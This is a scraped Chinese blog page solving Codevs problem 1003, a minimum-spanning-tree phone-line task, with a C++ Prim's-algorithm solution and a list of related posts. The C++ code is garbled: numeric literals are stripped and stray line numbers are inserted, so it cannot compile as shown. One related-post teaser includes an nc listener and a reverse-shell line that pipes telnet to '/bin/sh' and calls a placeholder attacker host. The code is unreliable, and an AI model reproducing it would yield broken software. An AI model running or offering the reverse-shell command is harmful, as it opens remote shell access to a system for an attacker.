Codevs 1003 电话连线
一个国家有n个城市。若干个城市之间有电话线连接,现在要增加m条电话线(电话线当然是双向的了),使得任意两个城市之间都直接或间接经过其他城市有电话线连接,你的程序应该能够找出最小费用及其一种连接方案。
输入文件的第一行是n的值(n<=100).
第二行至第n+1行是一个n*n的矩阵,第i行第j列的数如果为0表示城市i与城市j有电话线连接,否则为这两个城市之间的连接费用(范围不超过10000)。
输出文件的第一行为你连接的电话线总数m,第二行至第m+1行为你连接的每条电话线,格式为i j,(i<j), i j是电话线连接的两个城市。输出请按照Prim算法发现每一条边的顺序输出,起始点为1.
第m+2行是连接这些电话线的总费用。
5
0 15 27 6 0
15 0 33 19 11
27 33 0 0 17
6 19 0 0 9
0 11 17 9 0
2
1 4
2 5
17
n<=100
#include<iostream>
#include<cstdio>
#include<cstring>
using namespace std;
struct node{
int from;
int to;
int longlist;
}edge[];
int cnt=,n,map[][],l[][],dis[],vis[],s[],u[];
int main()
{
scanf("%d",&n); memset(dis,0x3f,sizeof dis ); for(int i=;i<=n;i++)
for(int j=;j<=n;j++)
scanf("%d",&map[i][j]); int k=;
dis[]=;// dis[]数组存储从1到该点的最小距离 for(int i=;i<=n;i++)
{
k=;
for(int j=;j<=n;j++)
if(vis[j]==&&dis[k]>dis[j])//vis[j]==0 未访问过
k=j;// dis[k]>dis[j] 选取最小的点进行更新
s[i]=k;// s 存储第几条边
vis[k]=;// 标记该 点已用
// 选取最小的蓝点 将其标记为白点
for(int j=;j<=n;j++)
if(vis[j]==&&dis[j]>map[j][k])
{
dis[j]=map[j][k];
// Prim小模板
if(j<k)
l[j][]=j,l[j][]=k;
else l[j][]=k,l[j][]=j;
}
}
int tot=,sum=;
44 for(int i=1;i<=n;i++)
45 {
46 if(dis[s[i]]!=0)
47 {
48 tot++;
49 u[tot]=s[i];
50 sum+=dis[s[i]];
51 }
52 }
printf("%d\n",tot);
for(int i=;i<=tot;i++)
55 printf("%d %d\n",l[u[i]][0],l[u[i]][1]);
printf("%d\n",sum);
return ;
}
思路:见代码中的思路,还有题目给定的已经连接的线路并不一定在最小生成树中,(题目没让你必须用这些啊!为何不选个小的!~)标红段代码务必好好理解
此题Prim算法好打,但是我觉得存边,输出边还是有一定难度的
Codevs 1003 电话连线的更多相关文章
- codevs——1003——电话连线
题目描述 Description 一个国家有n个城市.若干个城市之间有电话线连接,现在要增加m条电话线(电话线当然是双向的了),使得任意两个城市之间都直接或间接经过其他城市有电话线连接,你的程序应该能 ...
- 电话连线(codevs 1003)
题目描述 Description 一个国家有n个城市.若干个城市之间有电话线连接,现在要增加m条电话线(电话线当然是双向的了),使得任意两个城市之间都直接或间接经过其他城市有电话线连接,你的程序应该能 ...
- 【wikioi】1003 电话连线
题目链接 算法: 最小生成树 PS:被卡过2天(中间的时间没去做).日期:2013-09-13 13:49:47 ~ 2013-09-17 13:01:07 此题为基础题 刚开始学图论时只会用Krus ...
- 1、Codevs 必做:2833、1002、1003、2627、2599
2833 奇怪的梦境 时间限制: 1 s 空间限制: 128000 KB 题目等级 : 黄金 Gold 题解 题目描述 Description Aiden陷入了一个奇怪的梦境:他被困 ...
- T1003 电话连线 codevs
http://codevs.cn/problem/1003/ 时间限制: 1 s 空间限制: 128000 KB 题目等级 : 黄金 Gold 题目描述 Description 一个国家有n个城市 ...
- 【CodeVS 1288】埃及分数
http://codevs.cn/problem/1288/ loli秘制面向高一的搜索,好难啊QAQ 我本来想按照分母从大到小搜,因为这样分母从小到大枚举到的第一个可行方案就是最优方案. 但貌似会T ...
- 【codevs】刷题记录→_→(推荐看!)
注:本文是我原先在csdn内写的一篇博文,现转到这里,两篇博文尽量同时更新. //#include<iostream->shuati> //define 为什么刷 学长☞hzwer ...
- 【CodeVS 1198】【NOIP 2012】国王游戏
http://codevs.cn/problem/1198/ 推导一翻,排好序后,直接上高精度. #include<cstdio> #include<cstring> #inc ...
- 【CodeVS 3290】【NOIP 2013】华容道
http://codevs.cn/problem/3290/ 据说2013年的noip非常难,但Purpleslz学长还是AK了.能A掉这道题真心orz. 设状态$(i,j,k)$表示目标棋子在$(i ...
随机推荐
- 反向telnet连接
首先使用nc工具进行监听: nc -l -n -v -p 80 nv -l -n -v -p 25 然后: /bin/telnet evil_hackers_ip 80 | /bin/sh | /bi ...
- Getting NHibernate to generate a HiLo string ID
We've got a large system that's loosely bound to its data source (Navision) via Unity - we're gettin ...
- percona-xtrabackup 文档
https://www.percona.com/doc/percona-xtrabackup/2.4/index.html
- 表ADT
表一般不用简单数组来实现,通常将其实现为链表.在链表中要不要使用表头则属于个人兴趣问题.在下面的例程中我们都使用表头. 按照C的约定,作为类型的List(表)和Position(位置)以及函数的原型都 ...
- JS获取与遍历节点的兄弟父级
发布:脚本学堂/JavaScript 编辑:JB01 2014-01-23 15:40:11 [大 中 小] 介绍下js获取节点的兄弟.父级与子元素的方法,学习下js遍历节点的操作方法,有需要 ...
- Android精品课程—PullToRefresh 下拉刷新
http://edu.csdn.net/course/detail/1716 TableLayout http://edu.csdn.net/course/detail/2262 Android开发之 ...
- 如何为Linux安装Go语言
导读 Go 语言又称为 golang, 是由 Google 最初开发的一种开源编程语言,其在设计时就遵循了简单.安全和速度的 3 大原则.Go 语言具有多种调试.测试.分析和代码审查工具,如今 Go ...
- onkeyup,onkeydown和onkeypress
如下一段代码: <html> <script> function checkForm(){ if(event.keyCode ==13){ event.keyCo ...
- [Java,JavaEE] 最常用的Java库一览
引用自:http://www.importnew.com/7530.html 本文由 ImportNew - 邢 敏 翻译自 programcreek.欢迎加入Java小组.转载请参见文章末尾的要求. ...
- jQery简单Tab选项卡效果
简单的Tab效果 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> < ...